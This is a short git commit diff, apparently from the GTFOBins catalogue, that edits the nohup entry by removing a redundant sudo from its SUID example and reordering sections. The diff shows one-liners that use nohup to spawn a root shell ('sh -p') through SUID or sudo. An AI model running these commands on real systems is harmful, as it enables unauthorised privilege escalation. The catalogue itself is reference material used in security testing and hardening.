Remove redundant sudo from SUID category in nohup

This commit is contained in:
Shikata 2021-01-11 16:18:18 +02:00
parent 211edf746b
commit a48303c2b9

View File

@ -7,8 +7,8 @@ functions:
COMMAND='/usr/bin/id' COMMAND='/usr/bin/id'
nohup "$COMMAND" nohup "$COMMAND"
cat nohup.out cat nohup.out
sudo:
- code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
suid: suid:
- code: sudo nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)" - code: nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
sudo:
- code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
--- ---